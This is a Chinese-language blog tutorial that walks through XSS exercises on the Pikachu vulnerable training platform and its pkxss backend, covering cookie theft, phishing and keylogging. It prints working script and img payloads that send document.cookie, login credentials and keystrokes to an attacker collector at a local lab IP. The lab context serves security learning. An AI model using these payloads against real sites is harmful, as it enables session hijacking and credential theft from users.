xss案例

  1. cookie的窃取和利用
  2. 钓鱼攻击
  3. Xss获取键盘记录

 

搭建pkxss后台

你可以采用两个主机的方法,设置不同的IP来进行实验,也可以只用Pikachu来实验,我这里是后者,事实上只是改了一个IP而已,原理是相同的。

把在pikachu-master里的pkxss剪切出来,放在跟Pikachu同一目录下,即为WWW目录下:

 

 

 

打开pkxss文件中的config.inc.php文件 

 

 我们看到数据库服务器的地址是localhost(其实就是127.0.0.1)

 

我们还需要改ip,点击phpStudy,其他选项菜单,点“打开host”:

把选中的地方修改一个你想要的ip,我这里是192.128.10.246,然后保存

 

 我们主机的ip也要改成一样的,在网络设置里修改

 

使用192.168.10.246访问

设置完再点击网页里的红字初始化安装,出现成功字样

 

 然后点“点击这里”进入首页,输入admin/123456登录:

 

 

 接下来重定向,其实就是把里面一开始的ip设置成新设置的,使得跳转的页面固定(文件路径如下)

 

 修改的时候请注意网址和文件名(文件名称要根据自己的实际情况设定)这里其实就是跳转到pikachu的首页

一、Cookie的窃取和利用

get型:

我们打开反射型XSS(get)),在文本框中进行一些操作,但是根据已经做过的经验,我们知道文本框里只让输入20字节,所以我们先修改一下,把字节数增加,Fn+F12调出Web控制台

 

 接下来刚才搭建的打开XSS后台,点击cookie收集

 

 

 

 在pikachu平台中输入下列js语句

<script>document.location='http://192.168.10.246/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script>

 

 提交之后,跳转到这回个页面

 

 再看XSS后台,里面有了一个记录,id=3,这里因为我前面登录过几次,每一次返回页面或者跳转的操作XSS后台都会捕捉cookie,可以忽略,这里我只放出这一个,我们也得到了cookie

 

 cookie的值为  PHPSESSID=1d7ab818f2a90b6fe7ab90e9c38588d4

其中referer,用户一旦访问这个链接,它只会跳转到首页面,但是我们这样就已经获取到cookie值

http://192.168.10.246/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.10.246%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

post型

首先登陆 admin/123456

 

 我们输入<script>alert('xss')</script>,出现漏洞,结果发现地址栏没有变化,不在URL显示

查看pkxss-xcookie-post.html文件

 

 

 

我们需要自己搭一个恶意站点,然后在网站上放一个post表单将存放POST表单的链接发送给受害者,诱导受害者点击这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的

  首先,在恶意站点中修改服务器地址:上面是存在XSS漏洞的地址,下面是提交cookie的后台地址。

  恶意页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面

  如果用户访问欺骗的跳转页面,就会在pxss获取到cookie值

 

二、钓鱼攻击

进入文件夹修改ip(具体路径如下图)

 

 这里有xfish和fish两个文件,我们进入fish.php如下图选中所示,修改ip

我们接下来看看xfish的内容,分析代码,发现给出认证框,用户输入用户名、密码,重定向到后台,同样的后台也有同样的接口,get方式获取到用户名跟密码然后存储

攻击者给用户可以正常的看上去没有欺骗的可信的页面,而这个页面被攻击者嵌入了一些恶意的代码,进行盗取用户的一些信息。当用户点开这个页面之后,看到是正常的页面,实际上登录信息等都被攻击者在后台页面获取到。

我们在pikachu的反射型xss(post)输入框中输入下面两句代码都可以引发XSS漏洞

<img  src=" http://192.168.10.246/pkxss/xfish/fish.php"/>

 

 <script  src=" http://192.168.10.246/pkxss/xfish/fish.php">  </script>

 

 输入用户名密码 admin/123456(这个图中密码是我不小心输入错误)

 

 三、XSS获取键盘记录

跨域:

  在开始之前我们需要先了解一下跨域,顾名思义,跨域就是跨越领域,这种操作当然是不被允许的。

  官方点学术点的说法,就是页面必须同源,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。

所谓同源是指,域名,协议,端口均相同,所以这三样有一种不同都可以被称为跨域

 

关于同源的解释,以及一些允许跨域的方法,原文可以参考这个链接:

  https://blog.csdn.net/lambert310/article/details/51683775

所以我们需要观察代码中是否有跨域限制,打开rkserver.php(路径如下图所示)

 

 发现已经允许跨域访问

接下来我们可以利用标签来进行操作,获取键盘记录了,下面这些标签都允许跨域操作,在Pikachu:暴力破解板块我们已经见过它们了:

  <script src=”…”>//js,加载到本地执行

  <img src=”…”>//图片

  <link href=”…”>//css

  <iframe src=“…”>//任意资源

 再分析一下这个文件夹下其他文件的代码,打开唯一的js文件,我们来看看,把js 文件放到被攻击者的页面当中,通过获取键盘值,post发送给攻击者后台的ip

最后一个文件夹就是记录键盘结果

在存在存储型XSS的网站插入代码,这里用了script标签,其他标签当然也可以,这里只是搞个示例:

   <script src= "http://192.168.10.246/pkxss/rkeypress/rk.js"></script> 

  在键盘上随便输入发现会跳出来    页面请求失败,在pkxss后台我们就可以看到获取的信息。

 posted on 2020-03-23 18:15  骑着七彩祥云的少年  阅读(725)  评论(0编辑  收藏  举报